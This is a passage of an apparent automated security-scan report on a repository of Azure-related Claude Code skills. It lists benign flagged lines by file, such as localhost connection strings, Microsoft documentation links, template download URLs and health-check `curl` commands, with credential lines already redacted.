    "AzureWebJobsStorage": "UseDevelopmentStorage=true",     "DURABLE_TASK_SCHEDULER_CONNECTION_STRING": "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None"   }
  • Network accessline 52
    "DURABLE_TASK_SCHEDULER_CONNECTION_STRING": "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None"
  • Network accessline 179
    const connectionString = "Endpoint=http://localhost:8080;Authentication=None;TaskHub=default";

harness/claude-code/skills/azure-prepare/references/services/durable-task-scheduler/python.md

  • Network accessline 5
    - [Durable Task Scheduler documentation](https://learn.microsoft.com/azure/durable-task-scheduler/)
  • Network accessline 6
    - [Durable Functions Python guide](https://learn.microsoft.com/azure/azure-functions/durable/durable-functions-overview?tabs=python)
  • Network accessline 19
    > **💡 Finding latest versions**: Run `pip index versions azure-functions-durable` or check [pypi.org/project/azure-functions-durable](https://pypi.org/project/azure-functions-durable/) for the latest stable release.
  • Network accessline 50
    "FUNCTIONS_WORKER_RUNTIME": "python",     "AzureWebJobsStorage": "UseDevelopmentStorage=true",     "DURABLE_TASK_SCHEDULER_CONNECTION_STRING": "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None"
  • Network accessline 51
    "AzureWebJobsStorage": "UseDevelopmentStorage=true",     "DURABLE_TASK_SCHEDULER_CONNECTION_STRING": "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None"   }
  • Network accessline 52
    "DURABLE_TASK_SCHEDULER_CONNECTION_STRING": "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None"
  • Network accessline 194
    async def main():     with DurableTaskSchedulerWorker(         host_address="http://localhost:8080",
  • Network accessline 195
    with DurableTaskSchedulerWorker(         host_address="http://localhost:8080",         secure_channel=False,
  • Network accessline 196
    host_address="http://localhost:8080",
  • Network accessline 205
    from durabletask.azuremanaged.client import DurableTaskSchedulerClient         client = DurableTaskSchedulerClient(             host_address="http://localhost:8080",
  • Network accessline 206
    client = DurableTaskSchedulerClient(             host_address="http://localhost:8080",             taskhub="default",
  • Network accessline 207
    host_address="http://localhost:8080",

harness/claude-code/skills/azure-prepare/references/services/event-grid/bicep.md

  • Access to secretsline 51
    [Credential-related source omitted]
  • Access to secretsline 69
    [Credential-related source omitted]
  • Access to secretsline 70
    [Credential-related source omitted]

harness/claude-code/skills/azure-prepare/references/services/event-grid/subscriptions.md

  • Network accessline 11
    endpointType: 'WebHook'       properties: {         endpointUrl: 'https://my-api.azurecontainerapps.io/webhooks/orders'
  • Network accessline 12
    properties: {         endpointUrl: 'https://my-api.azurecontainerapps.io/webhooks/orders'       }
  • Network accessline 13
    endpointUrl: 'https://my-api.azurecontainerapps.io/webhooks/orders'
  • Network accessline 36
    endpointType: 'WebHook'   properties: {     endpointUrl: 'https://my-api.example.com/events'
  • Network accessline 37
    properties: {     endpointUrl: 'https://my-api.example.com/events'   }
  • Network accessline 38
    endpointUrl: 'https://my-api.example.com/events'

harness/claude-code/skills/azure-prepare/references/services/foundry/region-availability.md

  • Network accessline 15
    > Check https://learn.microsoft.com/azure/ai-services/openai/concepts/models for current model availability.

harness/claude-code/skills/azure-prepare/references/services/functions/README.md

  • Network accessline 65
    > Do NOT use hardcoded versions. Query for latest GA versions before generating code: > > **Primary Source:** [Azure Functions Supported Languages](https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages)
  • Network accessline 66
    > > **Primary Source:** [Azure Functions Supported Languages](https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages) >
  • Network accessline 67
    > **Primary Source:** [Azure Functions Supported Languages](https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages) > > Use the azure-documentation MCP tool to fetch current supported versions:

harness/claude-code/skills/azure-prepare/references/services/functions/bicep.md

  • Network accessline 86
    runtime: {         name: 'python'  // or 'node', 'dotnet-isolated'         version: '<version>'  // Query latest GA: https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages
  • Network accessline 87
    name: 'python'  // or 'node', 'dotnet-isolated'         version: '<version>'  // Query latest GA: https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages       }
  • Network accessline 88
    version: '<version>'  // Query latest GA: https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages

harness/claude-code/skills/azure-prepare/references/services/functions/templates/README.md

  • Network accessline 112
    GET https://cdn.functions.azure.com/public/templates-manifest/manifest.json
  • Network accessline 115
    > ⚠<U+FE0F> **If manifest fetch fails** (any error): > 1. Fall back to the source manifest at `https://github.com/Azure/azure-functions-templates/blob/dev/Functions.Templates/Template-Manifest/manifest.json`
  • Network accessline 116
    > 1. Fall back to the source manifest at `https://github.com/Azure/azure-functions-templates/blob/dev/Functions.Templates/Template-Manifest/manifest.json`
  • Network accessline 127
    | `resource` | Trigger type (see [selection.md](selection.md)) | `http`, `cosmos`, `timer`, `eventhub`, `servicebus`, `blob`, `sql`, `mcp`, `durable` | | `iac` | Infrastructure type | `bicep`, `terraform` | | `repositoryUrl` | GitHub repo w
  • Network accessline 128
    | `iac` | Infrastructure type | `bicep`, `terraform` | | `repositoryUrl` | GitHub repo with complete project | `https://github.com/Azure-Samples/functions-quickstart-python-http-azd` | | `folderPath` | Path within repo | `.` or `src/api` |
  • Network accessline 129
    | `repositoryUrl` | GitHub repo with complete project | `https://github.com/Azure-Samples/functions-quickstart-python-http-azd` |
  • Network accessline 139
    GET https://github.com/{owner}/{repo}/archive/refs/heads/main.zip
  • Network accessline 146
    1. GET https://api.github.com/repos/{owner}/{repo}/git/trees/main?recursive=1
  • Network accessline 147
    2. Filter tree entries where path starts with {folderPath}/ 3. For each file:    GET https://raw.githubusercontent.com/{owner}/{repo}/main/{path}
  • Network accessline 149
    GET https://raw.githubusercontent.com/{owner}/{repo}/main/{path}
  • Network accessline 181
    **Browse all:** [Awesome AZD Functions](https://azure.github.io/awesome-azd/?tags=functions)

harness/claude-code/skills/azure-prepare/references/services/functions/templates/base/eval/summary.md

  • Network accessline 14
    > ⚠<U+FE0F> **Eval cost note:** Each language × trigger eval requires ~5 min of agent runtime. Full matrix (6 languages × 9 triggers) = ~4.5 hours of CI. Python is verified end-to-end; other languages are confirmed available in the [functions temp

harness/claude-code/skills/azure-prepare/references/services/functions/templates/recipes/blob-eventgrid/README.md

  • Network accessline 28
    See [Blob Storage trigger connections](https://learn.microsoft.com/en-us/azure/azure-functions/functions-bindings-storage-blob-trigger#connections) for identity-based config — refer to the **"Connections"** section on that page for managed 

harness/claude-code/skills/azure-prepare/references/services/functions/templates/recipes/blob-eventgrid/eval/summary.md

  • Network accessline 14
    > ⚠<U+FE0F> **Eval cost note:** Each language eval requires ~5 min of agent runtime. Python is verified end-to-end; other languages confirmed in [manifest](https://cdn.functions.azure.com/public/templates-manifest/manifest.json). Multi-language ev

harness/claude-code/skills/azure-prepare/references/services/functions/templates/recipes/composition.md

  • Network accessline 47
    1. FETCH MANIFEST    GET https://cdn.functions.azure.com/public/templates-manifest/manifest.json
  • Network accessline 48
    GET https://cdn.functions.azure.com/public/templates-manifest/manifest.json    If fetch fails → fall back to: https://github.com/Azure/azure-functions-templates/blob/dev/Functions.Templates/Template-Manifest/manifest.json    If both fail → 
  • Network accessline 49
    If fetch fails → fall back to: https://github.com/Azure/azure-functions-templates/blob/dev/Functions.Templates/Template-Manifest/manifest.json
  • Network accessline 224
    > ⚠<U+FE0F> **ALWAYS QUERY OFFICIAL DOCUMENTATION** — Do NOT use hardcoded versions. > > **Primary Source:** [Azure Functions Supported Languages](https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages)
  • Network accessline 225
    > > **Primary Source:** [Azure Functions Supported Languages](https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages) >
  • Network accessline 226
    > **Primary Source:** [Azure Functions Supported Languages](https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages)

harness/claude-code/skills/azure-prepare/references/services/functions/templates/recipes/cosmosdb/README.md

  • Network accessline 27
    See [Cosmos DB trigger connections](https://learn.microsoft.com/en-us/azure/azure-functions/functions-bindings-cosmosdb-v2-trigger#connections) for identity-based config — refer to the **"Connections"** section on that page for managed iden

harness/claude-code/skills/azure-prepare/references/services/functions/templates/recipes/cosmosdb/eval/summary.md

  • Network accessline 14
    > ⚠<U+FE0F> **Eval cost note:** Each language eval requires ~5 min of agent runtime. Python is verified end-to-end; other languages confirmed in [manifest](https://cdn.functions.azure.com/public/templates-manifest/manifest.json). JavaScript and Po

harness/claude-code/skills/azure-prepare/references/services/functions/templates/recipes/durable/README.md

  • Network accessline 34
    The identity must have the **Durable Task Data Contributor** role on the scheduler or task hub resource. See [DTS identity auth](https://learn.microsoft.com/en-us/azure/durable-task/scheduler/durable-task-scheduler-identity) for identity-ba

harness/claude-code/skills/azure-prepare/references/services/functions/templates/recipes/durable/eval/summary.md

  • Network accessline 14
    > ⚠<U+FE0F> **Eval cost note:** Each language eval requires ~5 min of agent runtime. Python is verified end-to-end; other languages confirmed in [manifest](https://cdn.functions.azure.com/public/templates-manifest/manifest.json). PowerShell has no

harness/claude-code/skills/azure-prepare/references/services/functions/templates/recipes/eventhubs/README.md

  • Network accessline 21
    See [Event Hubs trigger connections](https://learn.microsoft.com/en-us/azure/azure-functions/functions-bindings-event-hubs-trigger#connections) for identity-based config — refer to the **"Connections"** section on that page for managed iden

harness/claude-code/skills/azure-prepare/references/services/functions/templates/recipes/eventhubs/eval/summary.md

  • Network accessline 14
    > ⚠<U+FE0F> **Eval cost note:** Each language eval requires ~5 min of agent runtime. Python is verified end-to-end; other languages confirmed in [manifest](https://cdn.functions.azure.com/public/templates-manifest/manifest.json). JavaScript and Po

harness/claude-code/skills/azure-prepare/references/services/functions/templates/recipes/mcp/README.md

  • Network accessline 17
    See [MCP Specification](https://modelcontextprotocol.io/) for protocol details.
  • Network accessline 31
    See [MCP extension trigger and bindings](https://learn.microsoft.com/azure/azure-functions/functions-bindings-mcp) for extension-based servers, [Self-hosted MCP servers](https://learn.microsoft.com/en-us/azure/azure-functions/self-hosted-mc

harness/claude-code/skills/azure-prepare/references/services/functions/templates/recipes/mcp/eval/summary.md

  • Network accessline 14
    > ⚠<U+FE0F> **Eval cost note:** Each language eval requires ~5 min of agent runtime. Python is verified end-to-end; other languages confirmed in [manifest](https://cdn.functions.azure.com/public/templates-manifest/manifest.json). JavaScript and Po

harness/claude-code/skills/azure-prepare/references/services/functions/templates/recipes/servicebus/README.md

  • Network accessline 26
    See [Service Bus trigger connections](https://learn.microsoft.com/en-us/azure/azure-functions/functions-bindings-service-bus-trigger#connections) for identity-based config — refer to the **"Connections"** section on that page for managed id

harness/claude-code/skills/azure-prepare/references/services/functions/templates/recipes/servicebus/eval/summary.md

  • Network accessline 14
    > ⚠<U+FE0F> **Eval cost note:** Each language eval requires ~5 min of agent runtime. Python is verified end-to-end; other languages confirmed in [manifest](https://cdn.functions.azure.com/public/templates-manifest/manifest.json). Multi-language ev

harness/claude-code/skills/azure-prepare/references/services/functions/templates/recipes/sql/README.md

  • Network accessline 45
    See [SQL managed identity](https://learn.microsoft.com/en-us/azure/azure-functions/functions-identity-access-azure-sql-with-managed-identity) for identity-based config — refer to the **"Configure the function app"** section for connection s

harness/claude-code/skills/azure-prepare/references/services/functions/templates/recipes/sql/eval/summary.md

  • Network accessline 14
    > ⚠<U+FE0F> **Eval cost note:** Each language eval requires ~5 min of agent runtime. Python is verified end-to-end; other languages confirmed in [manifest](https://cdn.functions.azure.com/public/templates-manifest/manifest.json). Java, JavaScript,

harness/claude-code/skills/azure-prepare/references/services/functions/templates/recipes/timer/README.md

  • Network accessline 22
    > Azure uses 6-part cron expressions (with seconds). See [Azure Functions timer trigger](https://learn.microsoft.com/en-us/azure/azure-functions/functions-bindings-timer#ncrontab-expressions) for full syntax reference.

harness/claude-code/skills/azure-prepare/references/services/functions/templates/recipes/timer/eval/summary.md

  • Network accessline 14
    > ⚠<U+FE0F> **Eval cost note:** Each language eval requires ~5 min of agent runtime. Python is verified end-to-end; other languages confirmed in [manifest](https://cdn.functions.azure.com/public/templates-manifest/manifest.json). Multi-language ev

harness/claude-code/skills/azure-prepare/references/services/functions/terraform.md

  • Network accessline 173
    > 💡 **Example Reference:** [HashiCorp Flex Consumption Example](https://registry.terraform.io/modules/Azure/avm-res-web-site/azurerm/latest/examples/flex_consumption)

harness/claude-code/skills/azure-prepare/references/services/key-vault/README.md

  • Network accessline 39
    | Variable | Value | |----------|-------| | `KEY_VAULT_URL` | `https://{vault-name}.vault.azure.net/` |
  • Network accessline 40
    |----------|-------| | `KEY_VAULT_URL` | `https://{vault-name}.vault.azure.net/` | | `KEY_VAULT_NAME` | Vault name |
  • Network accessline 41
    | `KEY_VAULT_URL` | `https://{vault-name}.vault.azure.net/` |

harness/claude-code/skills/azure-prepare/references/services/key-vault/sdk.md

  • Access to secretsline 29
    [Credential-related source omitted]
  • Network accessline 59
    endpointType: 'WebHook'       properties: {         endpointUrl: 'https://my-api.example.com/secret-rotation'
  • Network accessline 60
    properties: {         endpointUrl: 'https://my-api.example.com/secret-rotation'       }
  • Network accessline 61
    endpointUrl: 'https://my-api.example.com/secret-rotation'

harness/claude-code/skills/azure-prepare/references/services/logic-apps/bicep.md

  • Network accessline 10
    state: 'Enabled'     definition: {       '$schema': 'https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#'
  • Network accessline 11
    definition: {       '$schema': 'https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#'       contentVersion: '1.0.0.0'
  • Network accessline 12
    '$schema': 'https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#'

harness/claude-code/skills/azure-prepare/references/services/logic-apps/triggers.md

  • Network accessline 69
    "inputs": {       "method": "POST",       "uri": "https://api.example.com/orders",
  • Network accessline 70
    "method": "POST",       "uri": "https://api.example.com/orders",       "headers": {
  • Network accessline 71
    "uri": "https://api.example.com/orders",

harness/claude-code/skills/azure-prepare/references/services/service-bus/patterns.md

  • Access to secretsline 57
    [Credential-related source omitted]
  • Access to secretsline 130
    [Credential-related source omitted]

harness/claude-code/skills/azure-prepare/references/services/sql-database/scripts/grant-sql-access.ps1

  • Executable scriptline 1
    Executable file
  • Network accessline 78
    if (-not (Get-Command sqlcmd -ErrorAction SilentlyContinue)) {     Write-Error "'sqlcmd' is not installed or not on PATH."     Write-Error "Install the modern go-sqlcmd from https://github.com/microsoft/go-sqlcmd and retry."
  • Network accessline 79
    Write-Error "'sqlcmd' is not installed or not on PATH."     Write-Error "Install the modern go-sqlcmd from https://github.com/microsoft/go-sqlcmd and retry."     exit 1
  • Network accessline 80
    Write-Error "Install the modern go-sqlcmd from https://github.com/microsoft/go-sqlcmd and retry."

harness/claude-code/skills/azure-prepare/references/services/sql-database/scripts/grant-sql-access.sh

  • Executable scriptline 1
    #!/bin/bash
  • Network accessline 85
    if ! command -v sqlcmd >/dev/null 2>&1; then   echo "ERROR: 'sqlcmd' is not installed or not on PATH." >&2   echo "Install the modern go-sqlcmd from https://github.com/microsoft/go-sqlcmd and retry." >&2
  • Network accessline 86
    echo "ERROR: 'sqlcmd' is not installed or not on PATH." >&2   echo "Install the modern go-sqlcmd from https://github.com/microsoft/go-sqlcmd and retry." >&2   exit 1
  • Network accessline 87
    echo "Install the modern go-sqlcmd from https://github.com/microsoft/go-sqlcmd and retry." >&2

harness/claude-code/skills/azure-prepare/references/services/sql-database/sdk.md

  • Network accessline 30
    [Credential-related source omitted]
  • Network accessline 31
    [Credential-related source omitted]
  • Access to secretsline 35
    [Credential-related source omitted]
  • Access to secretsline 36
    [Credential-related source omitted]

harness/claude-code/skills/azure-prepare/references/services/static-web-apps/deployment.md

  • Network accessline 16
    properties: {   repositoryUrl: 'https://github.com/owner/repo'
  • Network accessline 17
    repositoryUrl: 'https://github.com/owner/repo'
  • Access to secretsline 38
    [Credential-related source omitted]
  • Access to secretsline 65
    [Credential-related source omitted]

harness/claude-code/skills/azure-prepare/references/services/static-web-apps/routing.md

  • Network accessline 41
    "azureActiveDirectory": {         "registration": {           "openIdIssuer": "https://login.microsoftonline.com/{tenant-id}",
  • Network accessline 42
    "registration": {           "openIdIssuer": "https://login.microsoftonline.com/{tenant-id}",           "clientIdSettingName": "AAD_CLIENT_ID",
  • Network accessline 43
    "openIdIssuer": "https://login.microsoftonline.com/{tenant-id}",
  • Access to secretsline 45
    [Credential-related source omitted]

harness/claude-code/skills/azure-prepare/references/services/storage/access.md

  • Access to secretsline 70
    [Credential-related source omitted]
  • Network accessline 92
    const client = new BlobServiceClient(   `https://${accountName}.blob.core.windows.net`,
  • Network accessline 93
    `https://${accountName}.blob.core.windows.net`,

harness/claude-code/skills/azure-pricing/SKILL.md

  • Network accessline 40
    GET https://prices.azure.com/api/retail/prices?api-version=2023-01-01-preview
  • Network accessline 43
    Append `$filter` with OData syntax. Keep `api-version=2023-01-01-preview` because savings plan data appears in that version. URL-encode spaces as `%20` and quotes as `%27` when constructing a full URL such as `https://prices.azure.com/api/r
  • Network accessline 112
    | URL | Content | | --- | --- | | https://learn.microsoft.com/en-us/microsoft-copilot-studio/requirements-messages-management | Billing rates table, examples, and overage enforcement rules. |
  • Network accessline 113
    | --- | --- | | https://learn.microsoft.com/en-us/microsoft-copilot-studio/requirements-messages-management | Billing rates table, examples, and overage enforcement rules. | | https://learn.microsoft.com/en-us/microsoft-copilot-studio/billi
  • Network accessline 114
    | https://learn.microsoft.com/en-us/microsoft-copilot-studio/requirements-messages-management | Billing rates table, examples, and overage enforcement rules. |
  • Network accessline 115
    | https://learn.microsoft.com/en-us/microsoft-copilot-studio/billing-licensing | Licensing options, M365 Copilot inclusions, prepaid and pay-as-you-go context. |
  • Network accessline 195
    - [Azure Retail Prices API](https://prices.azure.com/api/retail/prices?api-version=2023-01-01-preview)
  • Network accessline 196
    - [Copilot Studio requirements, messages, and management](https://learn.microsoft.com/en-us/microsoft-copilot-studio/requirements-messages-management)
  • Network accessline 197
    - [Copilot Studio billing and licensing](https://learn.microsoft.com/en-us/microsoft-copilot-studio/billing-licensing)

harness/claude-code/skills/azure-pricing/references/COPILOT-STUDIO-RATES.md

  • Network accessline 3
    > Source: [Billing rates and management](https://learn.microsoft.com/en-us/microsoft-copilot-studio/requirements-messages-management)
  • Network accessline 4
    > Estimator: [Microsoft agent usage estimator](https://microsoft.github.io/copilot-studio-estimator/)
  • Network accessline 5
    > Licensing Guide: [Copilot Studio Licensing Guide](https://go.microsoft.com/fwlink/?linkid=2320995)
  • Network accessline 133
    - [Billing rates and management](https://learn.microsoft.com/en-us/microsoft-copilot-studio/requirements-messages-management)
  • Network accessline 134
    - [Copilot Studio licensing](https://learn.microsoft.com/en-us/microsoft-copilot-studio/billing-licensing)
  • Network accessline 135
    - [Copilot Studio Licensing Guide (PDF)](https://go.microsoft.com/fwlink/?linkid=2320995)

harness/claude-code/skills/azure-quotas/SKILL.md

  • Network accessline 52
    | **Key Commands** | `az quota list`, `az quota show`, `az quota usage list`, `az quota usage show` | | **Complete CLI Reference** | [commands.md](./references/commands.md) | | **Azure Portal** | [My quotas](https://portal.azure.com/#blade/
  • Network accessline 53
    | **Complete CLI Reference** | [commands.md](./references/commands.md) | | **Azure Portal** | [My quotas](https://portal.azure.com/#blade/Microsoft_Azure_Capacity/QuotaMenuBlade/myQuotas) - Use only as fallback | | **REST API** | Microsoft.
  • Network accessline 54
    | **Azure Portal** | [My quotas](https://portal.azure.com/#blade/Microsoft_Azure_Capacity/QuotaMenuBlade/myQuotas) - Use only as fallback |
  • Network accessline 59
    > **⚠<U+FE0F> ALWAYS USE CLI FIRST** > > REST API and Portal can show misleading "No Limit" values — this does **not** mean unlimited capacity. It means the quota API doesn't support that resource type. Always start with `az quota` commands; fall 
  • Network accessline 60
    > > REST API and Portal can show misleading "No Limit" values — this does **not** mean unlimited capacity. It means the quota API doesn't support that resource type. Always start with `az quota` commands; fall back to [Azure service limits 
  • Network accessline 61
    > REST API and Portal can show misleading "No Limit" values — this does **not** mean unlimited capacity. It means the quota API doesn't support that resource type. Always start with `az quota` commands; fall back to [Azure service limits do
  • Network accessline 243
    | REST API "No Limit" | Misleading — not unlimited | Use CLI instead; see warning in Quick Reference | | `ExtensionNotFound` | Quota extension not installed | `az extension add --name quota` | | `BadRequest` | Resource provider not supporte
  • Network accessline 244
    | `ExtensionNotFound` | Quota extension not installed | `az extension add --name quota` | | `BadRequest` | Resource provider not supported by quota API | Check [service limits docs](https://learn.microsoft.com/en-us/azure/azure-resource-man
  • Network accessline 245
    | `BadRequest` | Resource provider not supported by quota API | Check [service limits docs](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits) |
  • Network accessline 253
    **Known unsupported providers:** - ❌ Microsoft.DocumentDB (Cosmos DB) - Use Portal or [Cosmos DB limits docs](https://learn.microsoft.com/en-us/azure/cosmos-db/concepts-limits)
  • Network accessline 254
    - ❌ Microsoft.DocumentDB (Cosmos DB) - Use Portal or [Cosmos DB limits docs](https://learn.microsoft.com/en-us/azure/cosmos-db/concepts-limits)
  • Network accessline 268
    |----------|------| | **CLI Commands Reference** | [commands.md](./references/commands.md) - Complete syntax, parameters, examples | | **Azure Quotas Overview** | [Microsoft Learn](https://learn.microsoft.com/en-us/azure/quotas/quotas-overv
  • Network accessline 269
    | **CLI Commands Reference** | [commands.md](./references/commands.md) - Complete syntax, parameters, examples | | **Azure Quotas Overview** | [Microsoft Learn](https://learn.microsoft.com/en-us/azure/quotas/quotas-overview) | | **Service L
  • Network accessline 270
    | **Azure Quotas Overview** | [Microsoft Learn](https://learn.microsoft.com/en-us/azure/quotas/quotas-overview) |
  • Network accessline 271
    | **Service Limits Documentation** | [Azure subscription limits](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits) |
  • Network accessline 272
    | **Azure Portal - My Quotas** | [Portal Link](https://portal.azure.com/#blade/Microsoft_Azure_Capacity/QuotaMenuBlade/myQuotas) |
  • Network accessline 273
    | **Request Quota Increases** | [How to request increases](https://learn.microsoft.com/en-us/azure/quotas/quickstart-increase-quota-portal) |

harness/claude-code/skills/azure-quotas/references/commands.md

  • Network accessline 18
    > **Required workflow:** > 1. **FIRST:** Try `az quota list` / `az quota show` / `az quota usage show` > 2. **If CLI returns `BadRequest`:** Resource provider doesn't support quota API → use [Azure service limits docs](https://learn.microso
  • Network accessline 19
    > 1. **FIRST:** Try `az quota list` / `az quota show` / `az quota usage show` > 2. **If CLI returns `BadRequest`:** Resource provider doesn't support quota API → use [Azure service limits docs](https://learn.microsoft.com/en-us/azure/azure-
  • Network accessline 20
    > 2. **If CLI returns `BadRequest`:** Resource provider doesn't support quota API → use [Azure service limits docs](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits)
  • Network accessline 31
    > - ❌ This is NOT unlimited capacity > - ✅ It means quota API doesn't support that resource type > - ✅ Check [Azure service limits docs](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-li
  • Network accessline 32
    > - ✅ It means quota API doesn't support that resource type > - ✅ Check [Azure service limits docs](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits) for actual limits > - ✅ Regiona
  • Network accessline 33
    > - ✅ Check [Azure service limits docs](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits) for actual limits
  • Network accessline 268
    **Workarounds**: - Check [Azure subscription limits documentation](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits)
  • Network accessline 269
    - Check [Azure subscription limits documentation](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits)
  • Network accessline 295
    > **DO NOT assume unlimited capacity. Always:** > 1. Use `az quota` CLI commands first (preferred method) > 2. If CLI returns `BadRequest`, check [Azure service limits documentation](https://learn.microsoft.com/en-us/azure/azure-resource-ma
  • Network accessline 296
    > 1. Use `az quota` CLI commands first (preferred method) > 2. If CLI returns `BadRequest`, check [Azure service limits documentation](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limi
  • Network accessline 297
    > 2. If CLI returns `BadRequest`, check [Azure service limits documentation](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits)
  • Network accessline 303
    | Error | Cause | Solution | |-------|-------|----------| | `BadRequest` | Provider not supported by quota API | Use CLI (preferred) or check [Azure service limits docs](https://learn.microsoft.com/en-us/azure/azure-resource-manager/managem
  • Network accessline 304
    |-------|-------|----------| | `BadRequest` | Provider not supported by quota API | Use CLI (preferred) or check [Azure service limits docs](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-servic
  • Network accessline 305
    | `BadRequest` | Provider not supported by quota API | Use CLI (preferred) or check [Azure service limits docs](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits) |

harness/claude-code/skills/azure-quotas/scripts/check-quota.ps1

  • Executable scriptline 1
    Executable file

harness/claude-code/skills/azure-quotas/scripts/check-quota.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

harness/claude-code/skills/azure-reliability/references/configure-health-probes.md

  • Network accessline 27
    3. **Two endpoints, not one** — a fast `/health` for the load balancer, and an optional `/health/deep` for on-call diagnostics. 4. **For Container Apps, both liveness AND readiness** — liveness alone restarts the container without taking it
  • Network accessline 29
    5. **Test the endpoint** before relying on it: `curl https://<app-url>/api/health`.

harness/claude-code/skills/azure-reliability/references/configure-multi-region.md

  • Network accessline 276
    output endpoint string = 'https://${endpoint.properties.hostName}'
  • Access to secretsline 441
    [Credential-related source omitted]
  • Access to secretsline 442
    [Credential-related source omitted]
  • Access to secretsline 448
    [Credential-related source omitted]
  • Access to secretsline 449
    [Credential-related source omitted]
  • Access to secretsline 456
    [Credential-related source omitted]
  • Access to secretsline 457
    [Credential-related source omitted]
  • Access to secretsline 464
    [Credential-related source omitted]
  • Access to secretsline 467
    [Credential-related source omitted]
  • Access to secretsline 468
    [Credential-related source omitted]
  • Network accessline 563
    # Check Front Door endpoint is responding curl -I https://<front-door-name>-endpoint.z01.azurefd.net/api/health
  • Network accessline 564
    curl -I https://<front-door-name>-endpoint.z01.azurefd.net/api/health

harness/claude-code/skills/azure-reliability/references/health-probe-checks.md

  • Network accessline 68
    3. **Two endpoints, not one** — fast `/health` for the load balancer, optional `/health/deep` for on-call diagnostics. 4. **For Container Apps, both liveness AND readiness** — liveness alone restarts the container without taking it out of r
  • Network accessline 70
    5. **Test the endpoint** before relying on it: `curl https://<app-url>/api/health`.

harness/claude-code/skills/azure-reliability/references/services/app-service/reliability.md

  • Network accessline 59
    # Rules must be set via ARM PATCH (CLI doesn't expose autoHealRules directly) az rest --method patch \   --uri "https://management.azure.com/subscriptions/{sub}/resourceGroups/{rg}/providers/Microsoft.Web/sites/{app}/config/web?api-version=
  • Network accessline 60
    az rest --method patch    --uri "https://management.azure.com/subscriptions/{sub}/resourceGroups/{rg}/providers/Microsoft.Web/sites/{app}/config/web?api-version=2022-03-01"
  • Network accessline 61
    --uri "https://management.azure.com/subscriptions/{sub}/resourceGroups/{rg}/providers/Microsoft.Web/sites/{app}/config/web?api-version=2022-03-01" \

harness/claude-code/skills/azure-reliability/references/services/functions/reliability.md

  • Network accessline 197
    - [Reliability in Azure Functions (Microsoft Learn)](https://learn.microsoft.com/en-us/azure/reliability/reliability-functions)

harness/claude-code/skills/azure-role-selector/SKILL.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration

harness/claude-code/skills/azure-smart-city-iot-solution-builder/SKILL.md

  • Network accessline 26
    Before proposing architecture that involves edge computing, review Azure IoT Edge documentation: https://learn.microsoft.com/azure/iot-edge/
  • Network accessline 150
    - [Azure IoT Edge documentation](https://learn.microsoft.com/azure/iot-edge/)

harness/claude-code/skills/azure-static-web-apps/SKILL.md

  • Network accessline 27
    - `swa-cli.config.json` is CLI settings and is created by `swa init`; never create it manually. - `staticwebapp.config.json` is runtime configuration for routes, auth, headers, navigation fallback, and API runtime; it can be created manuall
  • Network accessline 29
    - Local SWA emulation defaults to `http://localhost:4280`; common dev server URLs include `http://localhost:3000`.
  • Network accessline 50
    {   "$schema": "https://aka.ms/azure/static-web-apps-cli/schema",
  • Network accessline 51
    "$schema": "https://aka.ms/azure/static-web-apps-cli/schema",
  • Network accessline 57
    "appBuildCommand": "npm run build",       "run": "npm run dev",       "appDevserverUrl": "http://localhost:3000"
  • Network accessline 58
    "run": "npm run dev",       "appDevserverUrl": "http://localhost:3000"     }
  • Network accessline 59
    "appDevserverUrl": "http://localhost:3000"
  • Network accessline 83
    | `swa init` | Configure an existing frontend and optional API. | `swa init`, `swa init --yes`. | | `swa build` | Build frontend and/or API. | `swa build`, `swa build --auto`, `swa build myApp`; flags: `--app-location, -a`, `--api-location,
  • Network accessline 84
    | `swa build` | Build frontend and/or API. | `swa build`, `swa build --auto`, `swa build myApp`; flags: `--app-location, -a`, `--api-location, -i`, `--output-location, -O`, `--app-build-command, -A`, `--api-build-command, -I`. | | `swa star
  • Network accessline 85
    | `swa start` | Start local emulator. | `swa start`, `swa start ./dist`, `swa start http://localhost:3000`, `swa start ./dist --api-location ./api`, `swa start http://localhost:3000 --run "npm start"`; flags: `--port, -p`, `--api-location, 
  • Network accessline 131
    Supported API runtimes are `node:18`, `node:20`, `node:22`, `dotnet:8.0`, `dotnet-isolated:8.0`, `python:3.10`, and `python:3.11`. Test with `npx swa start ./dist --api-location ./api` and access the API at `http://localhost:4280/api/messag
  • Network accessline 211
    ### Validation - Local emulator `http://localhost:4280`: pass | fail | not run
  • Network accessline 212
    - Local emulator `http://localhost:4280`: pass | fail | not run
  • Network accessline 213
    - API `http://localhost:4280/api/message`: pass | fail | not applicable
  • Network accessline 228
